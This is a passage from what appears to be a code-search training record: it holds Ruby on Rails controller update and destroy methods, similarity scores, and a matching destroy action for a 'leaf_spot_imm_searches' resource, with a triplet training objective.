"def update\n @found_item = current_user.found_items.find(params[:id])\n\n respond_to do |format|\n if @found_item.update_attributes(params[:found_item])\n format.html { redirect_to :controller => 'search', :action => 'suggestion' ,:id => @found_item.id, notice: 'Found item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @found_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @text.readability_index = @text.difficulty_method\n @text.flesh_index = @text.rudolf_flesh_method\n #@text.speed_index = '15'\n\n respond_to do |format|\n if @text.update(text_params)\n format.html { redirect_to @text, notice: \"Text was successfully updated.\" }\n format.json { render :show, status: :ok, location: @text }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sensitive.update(sensitive_params)\n format.html { redirect_to xmt_press_sensitives_path, notice: '敏感词修改成功.' }\n format.json { render :show, status: :ok, location: @sensitive }\n else\n format.html { render :edit }\n format.json { render json: @sensitive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supermarket_highlight.update(supermarket_highlight_params)\n format.html { redirect_to @supermarket_highlight, notice: 'Supermarket highlight was successfully updated.' }\n format.json { render :show, status: :ok, location: @supermarket_highlight }\n else\n format.html { render :edit }\n format.json { render json: @supermarket_highlight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @jobsearch = Jobsearch.find(params[:id])\n\n respond_to do |format|\n if @jobsearch.update_attributes(params[:jobsearch])\n format.html { redirect_to @jobsearch, notice: 'Jobsearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobsearch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:search]\n \n end \n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_search.update(TaskSearchesController.task_search_params(params))\n format.html { redirect_to @task_search, notice: 'Task search was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_search }\n else\n format.html { render :edit }\n format.json { render json: @task_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end",
"def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end",
"def update\n respond_to do |format|\n if @suggest.update(suggest_params)\n format.html { redirect_to @suggest, notice: 'Suggest was successfully updated.' }\n format.json { render :show, status: :ok, location: @suggest }\n else\n format.html { render :edit }\n format.json { render json: @suggest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trek.trek_mountains.clear\n respond_to do |format|\n if @trek.update(trek_params)\n format.html { redirect_to @trek, notice: 'Trek was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trek.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n @keyword = Keyword.find(params[:id])\n\n respond_to do |format|\n if @keyword.update_attributes(params[:keyword])\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ru = Rails.application.config.hostUrl\n\n # Determine from the passed-in layer_id if the layer was changed\n editObject = params\n @layerIdIn = editObject['layer_id'][0]\n @annotationIn = editObject['annotation']\n #use @annotationIn['within'] to determine if the anno already belongs to this layer, if so set updateLists = false\n updateLists = true\n @annotationIn['within'].each do |list_id|\n layers_for_list = Annotation.where(\"annotation_id\": @annotationIn[\"@id\"]).first.annotation_layers \n layers_for_list.each do |layer_for_list|\n if layer_for_list[\"layer_id\"] == @layerIdIn\n updateLists = false\n break\n end\n end\n end\n\n @problem = ''\n @annotation = Annotation.where(annotation_id: @annotationIn['@id']).first\n\n unless check_anno_auth(request, @annotation)\n return render_forbidden(\"There was an error updating the annotation\")\n end\n\n #-------\n if @annotation.nil?\n # No annotation found\n format.json { render json: nil, status: :ok }\n else\n if @annotation.version.nil? || @annotation.version < 1\n # Correctly assign a version number\n @annotation.version = 1\n end\n if !version_annotation @annotation\n errMsg = \"Annotation could not be updated: \" + @problem\n render :json => { :error => errMsg },\n :status => :unprocessable_entity\n end\n\n if updateLists \n list_id = constructRequiredListId @layerIdIn, @annotation.canvas\n canvas_id = getTargetingAnnosCanvas(@annotation)\n checkListExists(list_id, @layerIdIn, canvas_id)\n\n @annotationIn['within'] = Array.new\n @annotationIn['within'].push(list_id)\n\n @annotation.annotation_lists.each do |list|\n delete_annotation_list_association(@annotation.annotation_id, list.list_id)\n end\n\n # Then reassociate lists and the annotation\n associate_lists(@annotationIn)\n end\n\n newVersion = @annotation.version + 1\n request.format = \"json\"\n respond_to do |format|\n\n if @annotation.update_attributes(\n :annotation_type => @annotationIn['@type'],\n :motivation => @annotationIn['motivation'].to_json,\n :on => @annotationIn['on'].to_json,\n :resource => @annotationIn['resource'].to_json,\n :annotated_by => @annotationIn['annotatedBy'].to_json,\n :version => newVersion,\n :order_weight => @annotationIn['orderWeight']\n )\n\n # Update tags associated with the annotation\n tags = parse_tags(@annotationIn['resource'])\n @annotation.annotation_tags = tags\n\n format.html { redirect_to @annotation, notice: 'Annotation was successfully updated.' }\n format.json { render json: @annotation.to_iiif, status: 200, content_type: \"application/json\"}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @annotation.errors, status: :unprocessable_entity, content_type: \"application/json\" }\n end\n end\n end\nend",
"def update\n if @term.update(term_params)\n render :show, status: :ok, location: api_v1_term_url(@term)\n else\n render json: @term.errors, status: :unprocessable_entity\n end\n end",
"def update\n @search_entities = SearchEntities.find(params[:id])\n\n respond_to do |format|\n if @search_entities.update_attributes(params[:search_entities])\n flash[:notice] = 'SearchEntities was successfully updated.'\n format.html { redirect_to(@search_entities) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @search_entities.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def update\n respond_to do |format|\n if @keyword.update(params)\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { render :show, status: :ok, location: @keyword }\n else\n format.html { render :edit }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search}\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @search_param.update(search_param_params)\n format.html { redirect_to @search_param, notice: 'Search param was successfully updated.' }\n format.json { render :show, status: :ok, location: @search_param }\n else\n format.html { render :edit }\n format.json { render json: @search_param.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @article.update(article_params)\n if !params[:keyword].blank?\n extract_keywords(@article, params[:keyword])\n end\n for titling in @article.titlings\n titling.destroy\n end\n params.each do |param|\n if param[0].include?('_title_type')\n @h = param[0].split('_')[0]\n if !params[\"#{@h}_other_title\"].blank?\n @title_type = TitleType.find_by_id(param[1].to_i)\n Titling.create(title_type_id: @title_type.id, article_id: @article.id, content: params[\"#{@h}_other_title\"] )\n end\n end\n end\n if !params[:keyword].blank?\n format.html { redirect_to '/articles/'+@article.id.to_s, notice: :article_is_updated }\n else\n format.html { redirect_to '/articles/'+@article.id.to_s, notice: 'Article was successfully updated.' }\n end\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_expert_location\n @exp = Expert.find(params[:expert_id])\n #@job = Job.find(params[:job_id])\n if @exp.update_attributes(:latitude => params[:lat], :longitude => params[:lon])\n render :json=> {:success => true, :lat => @exp.latitude, :lon => @exp.longitude}, :status=>200\n else\n render :json=> {:success => false}, :status=>204\n end \n end",
"def update\n @errors = []\n term_opts = flat_term_data_to_term_opts(term_params)\n\n begin\n @term = UriService.client.update_term(@term['uri'], term_opts)\n rescue UriService::NonExistentUriError, UriService::InvalidAdditionalFieldKeyError, UriService::CannotChangeTemporaryTerm => e\n @errors << e.message\n end\n\n respond_to do |format|\n if @errors.blank?\n format.html { redirect_to term_path(@term['internal_id']), notice: 'Term was successfully updated.' }\n format.json do\n render json: @term\n end\n else\n format.html { render action: 'new' }\n format.json do\n render json: { errors: @errors }\n end\n end\n end\n end",
"def update!(**args)\n @knowledge_base_name = args[:knowledge_base_name] if args.key?(:knowledge_base_name)\n @max_results = args[:max_results] if args.key?(:max_results)\n end",
"def update\n respond_to do |format|\n if @keyword.update(keyword_params)\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { render :show, status: :ok, location: @keyword }\n else\n format.html { render :edit }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @keyword.update(keyword_params)\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { render :show, status: :ok, location: @keyword }\n else\n format.html { render :edit }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @keyword.update(keyword_params)\n format.html { redirect_to @keyword, notice: 'Keyword was successfully updated.' }\n format.json { render :show, status: :ok, location: @keyword }\n else\n format.html { render :edit }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def destroy\n @leaf_spot_imm_search.destroy\n respond_to do |format|\n format.html { redirect_to leaf_spot_imm_searches_url, notice: 'Leaf spot imm search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @keyword = Keyword.find(params[:id])\n\n respond_to do |format|\n if @keyword.update_attributes(keyword_params)\n format.html { redirect_to admin_keyword_path(@keyword), notice: '关键词修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keyword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @query_suggestions = args[:query_suggestions] if args.key?(:query_suggestions)\n @tail_match_triggered = args[:tail_match_triggered] if args.key?(:tail_match_triggered)\n end",
"def update\n respond_to do |format|\n if @research.update(research_params)\n format.html { redirect_to researches_url, notice: t('.success', default: 'Research was successfully updated.') }\n format.json { render :show, status: :ok, location: @research }\n else\n format.html { render :edit }\n format.json { render json: @research.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6511506",
"0.6430987",
"0.593413",
"0.5877458",
"0.5822385",
"0.5667287",
"0.5568403",
"0.55408686",
"0.5534161",
"0.54694426",
"0.5451681",
"0.54371697",
"0.54137814",
"0.539564",
"0.5387593",
"0.5346209",
"0.53414595",
"0.5297225",
"0.526672",
"0.52615017",
"0.52585065",
"0.52530044",
"0.5229347",
"0.5226841",
"0.522337",
"0.5218617",
"0.5196594",
"0.51956683",
"0.5190228",
"0.5186188",
"0.51790214",
"0.5161907",
"0.5145219",
"0.5133003",
"0.5128557",
"0.51269567",
"0.5122536",
"0.51193905",
"0.5116091",
"0.51142555",
"0.5104666",
"0.50912255",
"0.50912255",
"0.50876635",
"0.50857973",
"0.50824624",
"0.5079401",
"0.5070889",
"0.50698507",
"0.5066281",
"0.50632006",
"0.50632006",
"0.5058871",
"0.5058871",
"0.5058871",
"0.5058871",
"0.5054983",
"0.50486994",
"0.50486994",
"0.50474226",
"0.5041981",
"0.5041981",
"0.5038887",
"0.50388294",
"0.5037053",
"0.5034007",
"0.50311404",
"0.50280416",
"0.5021825",
"0.50213355",
"0.5020344",
"0.5018164",
"0.5018164",
"0.5018164",
"0.5017836",
"0.5017836",
"0.5014504",
"0.50121754",
"0.5012016",
"0.50065374",
"0.50051546",
"0.50027",
"0.50023335",
"0.50013745",
"0.49910656",
"0.49794695",
"0.49722663",
"0.49706453",
"0.49679434",
"0.49666223",
"0.49581906",
"0.49581906",
"0.49581906",
"0.49493137",
"0.494902",
"0.49427354",
"0.49416426",
"0.49416426",
"0.4940916",
"0.4940859"
] |
0.7513949
|
0
|
DELETE /leaf_spot_imm_searches/1 DELETE /leaf_spot_imm_searches/1.json
|
def destroy
@leaf_spot_imm_search.destroy
respond_to do |format|
format.html { redirect_to leaf_spot_imm_searches_url, notice: 'Leaf spot imm search was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @leaf.destroy\n respond_to do |format|\n format.html { redirect_to leafs_url, notice: DELETE_SUCCESS }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advance_search.destroy\n respond_to do |format|\n format.html { redirect_to advance_searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_search = SavedSearch.find(params[:id])\n @saved_search.destroy\n\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_search.destroy\n respond_to do |format|\n redirect_path = params[:redirect_to] || root_path\n format.html { redirect_to redirect_path, notice: t('ransack.saved_search.delete.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leaf.destroy\n respond_to do |format|\n format.html { redirect_to leaves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_search = SavedSearch.find(params[:id])\n @saved_search.destroy\n\n respond_to do |format|\n format.html { redirect_to saved_searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_search_engine = CustomSearchEngine.find(params[:id])\n if @custom_search_engine.present?\n if (parent = @custom_search_engine.parent).present?\n parent.children_ids.delete(@custom_search_engine.id)\n parent.save\n end\n @custom_search_engine.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to cses_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leaf.destroy\n respond_to do |format|\n format.html { redirect_to leafs_url, notice: t('common.message.destroyed_success')}\n format.json { head :no_content }\n end\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def destroy\n @live_search.destroy\n respond_to do |format|\n format.html { redirect_to live_searches_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end",
"def delete_all\n solr.delete_by_query('*:*')\n solr.commit\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def delete_all\n neo4j_query(\"MATCH (n:`#{mapped_label_name}`) OPTIONAL MATCH (n)-[r]-() DELETE n,r\")\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search_keyword.destroy\n respond_to do |format|\n format.html { redirect_to search_keywords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quest_tree = QuestTree.find(params[:id])\n @quest_tree.destroy\n\n respond_to do |format|\n format.html { redirect_to quest_trees_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'La ricerca è stata eliminata.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@search = Search.find(params[:id])\n #@search.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to searches_url }\n # format.json { head :ok }\n #end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @spec = @spec_keyword.spec\n @spec_keyword.destroy\n respond_to do |format|\n format.html { redirect_to edit_spec_url(@spec) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @namesearch = Namesearch.find(params[:id])\n @namesearch.destroy\n\n respond_to do |format|\n format.html { redirect_to namesearches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keyword = Keyword.find(params[:id])\n @keyword.destroy\n\n respond_to do |format|\n format.html { redirect_to query_url(admin_keywords_url, Keyword, @current_user.uid) }\n format.json { head :no_content }\n end\n end",
"def delete_elasticsearch_addressbase_data\n uri = URI.parse(\"#{$ELASTIC_SEARCH_ENDPOINT}/\")\n conn = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new \"#{$ELASTICSEARCH_ADDRESSBASE}\"\n request['Content-Type'] = 'application/json'\n conn.request(request)\nend",
"def destroy\n @route_search.destroy\n respond_to do |format|\n format.html { redirect_to route_searches_url, notice: 'Route search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home_search = Home::Search.find(params[:id])\n @home_search.destroy\n\n respond_to do |format|\n format.html { redirect_to home_searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person_search = PersonSearch.find(params[:id])\n @person_search.destroy\n\n respond_to do |format|\n format.html { redirect_to person_searches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tagsearch = Tagsearch.find(params[:id])\n @tagsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to tagsearches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fnss_simple_kary_tree.destroy\n respond_to do |format|\n format.html { redirect_to fnss_simple_kary_trees_url, notice: 'Fnss simple kary tree was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keyword = Keyword.find(params[:id])\n @keyword.destroy\n\n respond_to do |format|\n format.html { redirect_to keywords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @research = Research.find(params[:id])\n @research.destroy\n\n respond_to do |format|\n format.html { redirect_to researches_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @hp_search.destroy\n respond_to do |format|\n format.html { redirect_to hp_searches_url, notice: 'Hp search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_by_query index, query, conflicts_proceed\n conflicts = conflicts_proceed ? 'conflicts=proceed' : ''\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_delete_by_query?#{conflicts}\")\n\n req = Net::HTTP::Post.new(uri)\n req.body = query.to_json\n run(uri, req)\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @searched.destroy\n respond_to do |format|\n format.html { redirect_to searcheds_url, notice: 'Searched was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_relevance\n @entry = current_user.entries.find(params[:id])\n @relevance = Relevance.find_by_entry_id_and_keyword_id(params[:id], params[:keyword_id])\n @relevance.destroy\n respond_to do |format|\n format.html { redirect_to(keywords_url) }\n format.xml { render :text => \"success\" }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @preset_search.destroy\n respond_to do |format|\n format.html { redirect_to preset_searches_url, notice: 'Stored search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node = Node.find_key(params[:id] || params[:name])\n @node.destroy\n respond_to do |format|\n format.html { redirect_to deployment_path(@node.deployment_id) }\n format.json { render api_delete @node }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @medusa_premis_representation_object = MedusaPremis::RepresentationObject.find(params[:id])\n @medusa_premis_representation_object.destroy\n\n respond_to do |format|\n format.html {\n query_params = session[:search] ? session[:search].dup : {}\n query_params.delete :counter\n query_params.delete :total\n link_url = url_for(query_params)\n redirect_to(link_url, notice: 'Representation object was successfully deleted.') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcriterion = Subcriterion.find(params[:id])\n @subcriterion.destroy\n\n respond_to do |format|\n format.html { redirect_to subcriteria_url }\n format.json { head :no_content }\n end\n end",
"def delete\n NamedMap.stats_aggregator.timing('named-map.delete') do\n response = self.class.http_client.delete( url + '?api_key=' + @parent.api_key,\n {\n headers: @parent.headers,\n ssl_verifypeer: @parent.verify_cert,\n ssl_verifyhost: @parent.verify_host,\n followlocation: true,\n connecttimeout: HTTP_CONNECT_TIMEOUT,\n timeout: HTTP_REQUEST_TIMEOUT\n } )\n raise HTTPResponseError, \"DELETE:#{response.code} #{response.request.url} #{response.body}\" unless response.code == 204\n end\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @search_theatre.destroy\n respond_to do |format|\n format.html { redirect_to search_theatres_url }\n format.json { head :no_content }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @spanish_vocab = SpanishVocab.find(params[:id])\n @spanish_vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to spanish_vocabs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mode = params[:deleteMode]\n type = params[:type] || \"\"\n concept = params[:concept] || \"\"\n type.strip!\n concept.strip!\n\n Document.transaction do \n if @mode == \"batch\"\n @ids = params[:ids]\n if @document.has_reference_relation?(@ids)\n return render json: 'Cannot delete annotation because there is a relation that refers to this node' , status: 422 \n end\n ret = Annotation.execute_sql(\"DELETE FROM annotations WHERE id in (?)\", @ids)\n elsif @mode == \"concept\"\n if @assign.present?\n targets = Annotation.execute_sql(\"\n SELECT id FROM annotations \n WHERE assign_id = ? AND version = ? AND concept = ? AND a_type = ?\n \", @assign.id, @annotation.version, @annotation.concept, @annotation.a_type)\n elsif @project.manager?(current_user) || @project.collaborate_round\n targets = Annotation.execute_sql(\"\n SELECT id FROM annotations \n WHERE document_id = ? AND version = ? AND concept = ? AND a_type = ?\n \", @document.id, @annotation.version, @annotation.concept, @annotation.a_type)\n end\n @ids = targets.map{|e| e[0]}\n if @document.has_reference_relation?(@ids)\n return render json: 'Cannot delete annotation because there is a relation that refers to this node' , status: 422 \n end\n ret = Annotation.execute_sql(\"DELETE FROM annotations WHERE id in (?)\", @ids)\n elsif @mode == \"mention\"\n if @document.has_reference_relation?([@annotation.id])\n return render json: 'Cannot delete annotation because there is a relation that refers to this node' , status: 422 \n end\n @ids = [@annotation.id]\n @annotation.destroy\n end\n @document.touch\n end\n @document.create_audit(current_user, \"Delete annotation\", params.to_json, @ids.join(\",\"))\n\n # @annotation.destroy\n respond_to do |format|\n format.html { redirect_to @document, notice: 'The annotation was successfully deleted.' }\n format.json { render json: @ids, status: :ok }\n end\n end",
"def destroy\n @node_index = NodeIndex.find(params[:id])\n @node_index.destroy\n\n respond_to do |format|\n format.html { redirect_to node_indices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search = Search.find(params[:id])\n @search.destroy\n\n respond_to do |format|\n format.html { redirect_to(searches_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @searchterm.destroy\n respond_to do |format|\n format.html { redirect_to searchterms_url, notice: 'Searchterm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jc_term = JcTerm.find(params[:id])\n @jc_term.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def delete\n render json: Like.delete(params[\"id\"])\n end",
"def destroy\n @search_query.destroy\n respond_to do |format|\n format.html { redirect_to search_queries_url, notice: 'Search query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n render_json_auto @survey.delete_filter(params[:id].to_i) and return\n end",
"def destroy\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n @gethotelstaticdatagd.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotelstaticdatagds_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Location.delete(params[\"id\"])\n end",
